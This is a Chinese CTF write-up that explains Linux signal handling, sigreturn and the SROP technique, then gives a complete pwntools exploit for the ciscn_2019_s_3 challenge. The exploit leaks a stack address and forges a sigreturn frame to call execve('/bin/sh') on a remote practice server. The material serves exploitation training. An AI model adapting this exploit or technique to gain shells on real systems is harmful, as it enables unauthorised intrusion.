0x00
想起来好像没学,学一下
0x01 前置知识 signal机制
signal
机制是类 unix
系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill
来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

内核向某个进程发送 signal
机制,该进程会被暂时挂起,进入内核态。
内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext
以及 siginfo
这一段为 SignalFrame
。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler
中处理相应的 signal
。因此,当 signal handler
执行完之后,就会执行 sigreturn
代码。

对于 signal Frame
来说,会因为架构的不同而有所区别,这里给出 x64 的 sigcontext
x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| struct _fpstate { __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; };
struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };
|
signal handler
返回后,内核为执行 sigreturn
系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop
回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn
的调用号为 119(0x77),64 位的系统调用号为 15(0xf)
sigreturn
的特殊之处:sigreturn
是一个非常特殊的系统调用。内核处理它时,并不会走常规的sysret
返回路径。相反,它会:
一、根据当前用户态的rsp
找到sigframe
。
二、从sigframe
中读取包括rip
和rsp
在内的所有通用寄存器的值。将这些值强制恢复到CPU的实际寄存器中。
三、最后,通过一个特殊的指令(如iret
或sysret
,但操作数已被修改)将控制权交还给用户空间,此时CPU将从被恢复的rip
地址开始执行,并且栈指针也已经切换为被恢复的rsp
值
最后总结一下信号处理流程
信号传递(Kernel to User):
- 内核决定向一个用户进程传递信号。在切换回用户态之前,内核会在该进程的用户栈上创建一个
sigframe
。
- 这个
sigframe
保存了进程被中断时的完整上下文(寄存器状态、信号掩码等)。
- 在
sigframe
的底部,内核会放置一段调用sigreturn
系统调用的代码片段作为handler
返回地址。
- 内核修改进程的
rip
,使其指向信号处理函数(signal handler
),并创建handler
的栈帧
信号处理函数执行(User Space):
- 进程返回用户态,开始执行信号处理函数。
- 此时,栈的布局大致如下(栈向低地址方向增长):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| +---------------------------+ <-- 高地址 | ... (原始栈内容) ... | +---------------------------+ | | | sigframe | | | +---------------------------+ | Return Address for | (调用sigreturn) | Handler | +---------------------------+ | Handler's saved RBP | +---------------------------+ | | | Handler's Local Variables| (handler的栈帧) | | +---------------------------+ <-- rsp (在handler执行过程中的位置)
|
从信号处理函数返回(User to Kernel):
- 当信号处理函数执行
ret
指令,返回到调用sigreurn
- 调用
sigreurn
的片段的核心就是 mov rax, 15; syscall
(在x86-64中,15是rt_sigreturn
的系统调用号)。
执行sigreturn
(The Crucial Moment):
- 执行
syscall
指令 (pop
进rip
),rsp
现在正好指向了sigframe
的起始位置
- 内核接管控制,执行
sigreturn
- 内核相信此时的
rsp
正指向一个合法的sigframe
(不检查)。它从rsp
指向的内存地址开始,解析sigframe
,并将其中保存的寄存器值恢复到CPU中。
- 恢复完成:进程的
rip
、rsp
以及其他所有寄存器都回到了信号发生前的状态。控制权返回用户空间,进程从被中断的地方“无缝”地继续执行,就好像什么都没发生过一样。原先为sigframe
所占用的栈空间也自然而然地被“丢弃”了,因为rsp
已经被恢复到了更高的地址。
0x02 攻击原理
攻击原理就很简单了,就是伪造signal Frame
,触发sigreturn
调用,控制寄存器和控制流,这也就是SROP
的本质
SROP简要流程:
1
| 构造 fake_frame --> 控制当前 rsp 指向 fake_frame 底部 --> sigreturn 调用
|
pwntools
集成了SROP
的模块,可以帮助制作fake_frame
:
1 2 3 4 5 6 7 8
| // e.g. sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret
|
一般来说在栈溢出进行ROP
写调用sigreturn
,然后在syscall
后写入sigframe
即可,需要注意的是,因为 sigreturn
系统调用 不会像普通函数一样返回到下一条 ret
,内核会直接修改用户态寄存器,并跳转到 sigframe.rip
,所以我们需要确保的是 sigreturn
系统调用之后rsp
指向sigframe
底部(在syscall
之后写入sigframe
,执行sigreturn
时将syscall
指令pop rip
后rsp
正好指向sigframe
)
需要注意的是,当我们构造srop_chain
时候,sigframe.rip
必须指向syscall_ret
(至少这个gadget
不会改变rsp
),因为中途不可以打乱rsp指向,我们需要控制好rsp
确保每次调用sigreturn
时都指向目标sigframe


0x03 ciscn_2019_s_3
题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| int __fastcall main(int argc, const char **argv, const char **envp) { return vuln(argc, argv, envp); }
signed __int64 vuln() { signed __int64 v0; char buf[16];
v0 = sys_read(0, buf, 0x400uLL); return sys_write(1u, buf, 0x30uLL); }
|
存在gadget
1 2 3 4 5 6 7 8
| .text:00000000004004DA mov rax, 0Fh .text:00000000004004E1 retn ... .text:00000000004004E2 mov rax, 3Bh ; ';' .text:00000000004004E9 retn ... .text:0000000000400517 syscall ; LINUX - sys_write .text:0000000000400519 retn
|
这题比较简单,除了SROP
还可以打ret2csu
,这里分析SROP
.
调试发现这题有点怪的点就是缓冲区没有调整rsp
来扩容,而是直接通过[rsp-0x10]
来索引,猜测是直接使用两个系统调用函数以及缓冲区较小的原因,看调用write
前的栈帧
1 2 3 4 5 6 7 8 9
| pwndbg> stack 00:0000│ rbp rsp 0x7ffc0eb5e670 —▸ 0x4004ed (vuln) ◂— push rbp 01:0008│+008 0x7ffc0eb5e678 —▸ 0x400536 (main+25) ◂— nop 02:0010│+010 0x7ffc0eb5e680 —▸ 0x7ffc0eb5e778 —▸ 0x7ffc0eb5ef5f ◂— '/home/r3t2/ctf/buuctf/ciscn_2019_s_3/pwn_patched' 03:0018│+018 0x7ffc0eb5e688 ◂— 0x100000000 04:0020│+020 0x7ffc0eb5e690 —▸ 0x400540 (__libc_csu_init) ◂— push r15 05:0028│+028 0x7ffc0eb5e698 —▸ 0x785c98a21c87 (__libc_start_main+231) ◂— mov edi, eax 06:0030│+030 0x7ffc0eb5e6a0 ◂— 0x2000000000 07:0038│+038 0x7ffc0eb5e6a8 —▸ 0x7ffc0eb5e778 —▸ 0x7ffc0eb5ef5f ◂— '/home/r3t2/ctf/buuctf/ciscn_2019_s_3/pwn_patched'
|
看到栈上保留了栈地址0x7ffc0eb5e778
会被输出,与buf
的偏移是0x7ffc0eb5e778
- (rsp-0x10)
= 0x118
,接下来buf
写/bin/sh
然后进行SROP
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6_2.27-3ubuntu1.6_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "node5.buuoj.cn" port = 27615 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6-dbg_2.27-3ubuntu1.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/glibc-source_2.27-3ubuntu1.6_all/usr/src/glibc/glibc-2.27 '''
def start(): if args.P: return process(elf.path) elif args.R: return remote(host, port) else: return gdb.debug(elf.path, gdbscript = gs)
io = start()
mov_rax_15_ret = 0x4004da mov_rax_59_ret = 0x4004e2 syscall_ret = 0x400517 vuln_addr = 0x4004ed
payload = b'a'*0x10 + p64(vuln_addr) io.send(payload)
io.recvuntil(b'a'*0x10) io.recv(0x10) stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x118 log.info("stack_addr --> "+hex(stack_addr))
sigFrame = SigreturnFrame() sigFrame.rax = 59 sigFrame.rdi = stack_addr sigFrame.rsi = 0x0 sigFrame.rdx = 0x0 sigFrame.rip = syscall_ret
payload = b'/bin/sh\x00'*2 + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(sigFrame) io.send(payload)
io.interactive()
|